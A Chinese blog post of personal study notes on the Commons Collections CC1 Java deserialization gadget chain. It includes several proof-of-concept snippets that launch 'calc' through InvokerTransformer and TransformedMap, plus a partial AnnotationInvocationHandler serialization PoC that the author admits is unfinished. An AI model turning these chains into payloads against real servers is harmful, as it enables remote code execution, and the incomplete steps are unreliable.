CC链

0x01 起因

CC链,之前看到过相关文章,没看懂,今天耐心再学习并总结一下

CC链,即 Apache commons collections反序列化漏洞利用链的简称

反序列化不赘述了,存储用序列化,取出就反序列化,感觉类似压缩包压缩、解压的过程

在学之前我认为,原因就是没有严格限制输入内容,导致漏洞;当然,废话一个

这里的CC链啊,有CC1、CC2、…、CC7

这个组件呢,一般是org.apache.commons.collections.?

0x02.CC1

a.环境准备

这里需要用到jdk的源码,首先jdk8中的src.zip解压到同名src文件夹中,进入后,导入一个从

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载的压缩包中解压的src\share\classes\sun文件夹

具体步骤参考:https://blog.csdn.net/Jayjay___/article/details/133621214

操作之后就可以看到jdk8的jar包源码

新建一个空项目,pom导入依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

b.分析

其实反序列化,正向推的话,肯定先找readObject方法,但这个是在作者的基础上,就逆推着来

它逆推一般是找有命令执行的地方,比如exec,比如反射调用

右边用maven刷新一下,就可以得到一个collections的包,查看源码,有 Transformer接口

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

进而发现它的继承类有,InvokerTransform,它重写了transform方法,同时继承了Serializable

部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}

第一个是含参构造器,参数为字符串,后俩是数组;用于外部调用类;

从第二个方法可以看出,用了反射哈,而且参数都是可控

那么构造poc1:

新写一个运行类,命令执行,可弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.transformer;

import org.apache.commons.collections.functors.InvokerTransformer;

public class transform {
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",new Class[]{String.class},new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
}
}

小结1

1
org.apache.commons.collections.functors下,invokerTransformer.transform()

继续分析,看看谁调用了这个invokerTransformer.transform()

查找用法即可

关注map文件夹下的TransformedMap

搜索**transform(**,有三个地方用到了该方法,比如第三个代码为

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

但其实无所谓第几个,想要可控,还是要看看含参构造器

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

而protected,意味着无法直接外部调用,但肯定写的有方法去调用这个构造器

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

先停留到这里,这里能不能调用呢,decorate方法是一个Map类型

所以可构造poc2:

新写一个运行类,试过了,确实可以弹

1
2
3
4
5
6
7
8
9
10
11
12
13
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();

//因为有public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)

Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

//差点没看懂,熟悉的Method、invoke,其实就是一个反射
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);

怎么说呢,不太懂,有三个地方调用transform方法,为什么一定是checkSetValue

通过观察,我想我终于明白了参考文章中都提到的一句话,用我自己的话来讲,对于一个包含transform方法的调用,需要是不同类中的方法所调用的

因为我们不管是逆推还是顺推,总是从一个类跳到另一个类去的,形成一条链

反正进行下一步之后,从 TransformedMapcheckSetValue方法追溯到了

AbstractInputCheckedMapDecorator类,它的子类 MapEntrysetValue方法调用了 checkSetValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

所以可构造poc3:

1
2
3
4
5
6
7
8
9
10
11
12
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("admin","yly");
//因为有public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)

Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

//这里看不懂,说MapEntry类的setValue()方法是遍历作用,且调用TransformedMap类中的checkSetValue()
for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}

这个代码我晕了,反正利用链如下:

小结2

利用链(从上往下依次调用)
org.apache.commons.collections.keyvalue下AbstractMapEntryDecorator的MapEntry类的setValue()方法
org.apache.commons.collections.map的TransformedMap类的checkSetValue()
org.apache.commons.collections.functors下,invokerTransformer.transform()

好,现在看谁用了setValue(),有很多,但是参考文章里的师傅找到了

AnnotationInvocationHandler

1
2
3
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
...
}

说是一个动态代理,因为集成了InvocationHandler

它的readObject()方法里有一条语句为:memberValue.setValue()

至此完整链条形成

但是利用的话,因为类不是public声明的,所以还是要反射

看看含参构造方法,参数一个Class对象(还继承了 Annotation),一个Map对象

1
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 

好,现在开写poc4 ×,开抄√

下面只是一个初步poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("admin","yly");

Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

//反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, decorateMap);

//反序列化
serialize(obj); //序列化
unserialize("yly.bin"); //反序列化
}

private static void unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(s));
objectInputStream.readObject();
}

private static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("yly.bin"));
oos.writeObject(obj);
}
}

它面临几个问题

runtime的反序列化以及:

readObject方法中的两个if绕过,还有setValue()参数不可控

1
2
3
4
5
6
7
8
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

后面的看不懂,不弄了

总结

起因就是用到了这个组件,且jdk的版本存在漏洞

所谓的链,基本利用方式吧,就是各种类中方法的层层调用,直到命令执行,期间包括绕过、反射等方式构造、序列化的问题

主要是学到了CC链的概念、代码审计的步骤(一般逆推,找可控参数)

攻击方式也很明了了,将poc作为一个class文件,jndi注入或者其它利用都可以

另外:

jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法

参考

https://xz.aliyun.com/t/9409?time__1311=n4%2BxuDgD9AYCqAKGQ3DsD7fevlzhYDnGGiDgYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

https://cn-sec.com/archives/2837977.html

CC1 https://blog.csdn.net/Jayjay___/article/details/133621214

jdk8u源码 https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

0x03 CC2

a.环境准备

这个CC组件版本要4.0,然后jdk的话,还是jdk1.8.261,这个版本还是要再低一点比较好,不过我懒得找了

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

改天再看,晕了不想看

https://xz.aliyun.com/t/10387?time__1311=mq%2BxBDyDu7G%3DI405DIYxxmO%2BaD8W8eqT4D&alichlgref=https%3A%2F%2Fcn.bing.com%2F

记录

查找用法,我只找到自己写的调用该方法的类,也就是找的不全,参考下文,去Maven中右键下载源码,再次查找用法即可

https://blog.csdn.net/Jayjay___/article/details/133561447

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信